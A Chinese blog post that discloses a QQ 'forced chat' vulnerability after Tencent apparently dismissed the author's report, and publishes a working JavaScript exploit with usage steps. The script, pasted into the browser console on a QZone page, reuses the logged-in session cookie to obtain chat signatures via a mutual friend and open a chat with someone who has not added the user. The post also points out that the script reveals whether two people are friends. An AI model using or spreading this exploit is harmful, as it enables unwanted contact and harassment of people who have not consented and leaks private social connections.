QQ強聊雖然早就變成了一個傳說,但現在依然可以實現。
小菜其實早就知道這個漏洞,但是一直沒公布,前兩天突然來興致試了試,沒想到漏洞依然存在。
然后小菜跑到了烏雲漏洞報告平台舉報漏洞,但沒想到被騰訊魯莽的否認了,他竟然說漏洞不存在,漏洞不存在,那些截圖是怎么來的。。。小菜辛辛苦苦寫的漏洞原理,就這么無情的被拒絕了。。。
小菜很失望,既然騰訊這么不負責任,那小菜就把漏洞發出來。
漏洞的具體原理,小菜已經在烏雲上闡述了《騰訊QQ強制聊天漏洞》,十分的詳細,在這不多說。
為了讓讀者更方便的利用此漏洞,小菜寫了一個js腳本,腳本如下

1 (function(exports){ 2 3 var chatVO = { 4 //你的QQ 5 yourQQ: "20737302", 6 //你好友的QQ 7 yourFQQ: "649374916", 8 //女神的QQ 9 targetQQ: "20618348", 10 //女神好友的QQ 11 targetFQQ: "649374916" 12 }; 13 var config = { 14 init: function(){ 15 var skey; 16 skey = getCookie("skey") || getCookie("rv2") || ""; 17 function getCookie(name){ 18 var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r); 19 return !m ? "" : m[1]; 20 } 21 function _DJB (str) { 22 var hash = 5381; 23 for (var i = 0, len = str.length; i < len; ++i) 24 hash += (hash << 5) + str.charCodeAt(i); 25 return hash & 2147483647 26 }; 27 28 this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey)); 29 }, 30 sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}", 31 chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}" 32 }; 33 var util = { 34 ajax: function(obj){ 35 var xmlHttp; 36 37 if(obj.async === undefined){ 38 obj.async = true; 39 } 40 41 if(window.XMLHttpRequest){ 42 xmlHttp = new XMLHttpRequest(); 43 }else{ 44 xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 45 } 46 47 xmlHttp.onreadystatechange=function(){ 48 obj.callback(xmlHttp); 49 }; 50 xmlHttp.open(obj.type,obj.url,obj.async); 51 xmlHttp.send(); 52 } 53 }; 54 var logic = { 55 getSigU: function (sender,receiver){ 56 var sigu = ""; 57 util.ajax({ 58 url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver), 59 type: "get", 60 async: false, 61 callback: function(xhr){ 62 if(xhr.readyState == 4){ 63 var html = xhr.responseText.replace(/[\n]/g,""); 64 if(/&SigU=/gmi.test(html)){ 65 sigu = html.split(/&SigU=/m)[1].split(/'/m)[0]; 66 }else{ 67 alert("你和你的好友,好友關系不成立!"); 68 } 69 } 70 } 71 }); 72 73 return sigu; 74 }, 75 getSigT: function (sender,receiver){ 76 var sigt = ""; 77 util.ajax({ 78 url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver), 79 type: "get", 80 async: false, 81 callback: function(xhr){ 82 if(xhr.readyState == 4){ 83 var html = xhr.responseText.replace(/[\n]/g,""); 84 if(/&SigT=/gmi.test(html)){ 85 sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0]; 86 }else{ 87 alert("他和他的好友,好友關系不成立!"); 88 } 89 } 90 } 91 }); 92 93 return sigt; 94 }, 95 runChat: function (sender,sigu,sigt) { 96 exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu); 97 } 98 }; 99 100 config.init(); 101 102 var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ); 103 var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ); 104 105 logic.runChat(chatVO.targetQQ,sigu,sigt); 106 107 })(this);
這個腳本,您只需要關注最頂部的四個參數,
- yourQQ: "20737302",
- yourFQQ: "649374916",
- targetQQ: "20618348",
- targetFQQ: "649374916"
這四個參數缺一不可,而且必須都正確,讀者可根據自己的實際情況填寫,主要就是女神好友的QQ可能不知道(任意一個好友即可),猜吧!
假如您不知道女神好友的QQ,亂填一個,會提示好友關系不成立,順便還可以用這個提示測試兩個人是不是好友,很實用吧!
測試的時候忽略了一個問題:女神好友的QQ(targetFQQ),作為中間人,不能隨便填,必須同時是你們兩個的好友才可以。。。抱歉!!
接下來說說怎么運行這個腳本。
首先要用瀏覽器打開你的QQ空間,最好使用火狐和谷歌瀏覽器,然后保持QQ空間是登錄狀態。
然后在QQ空間的選項卡旁邊新建一個選項卡,輸入網址:http://r.qzone.qq.com,按回車轉到,發現是一片空白,這就對了。
在瀏覽器上按F12打開控制台,把腳本粘貼到控制台中,運行即可。
為什么要這么做呢。。。登錄QQ空間是為了拿到有效的cookie,否則沒辦法訪問騰訊接口,而新建一個選項卡是為了避免跨域問題,同時又可以與登錄的QQ空間共享cookie。
其他就沒什么了,快動手試試吧!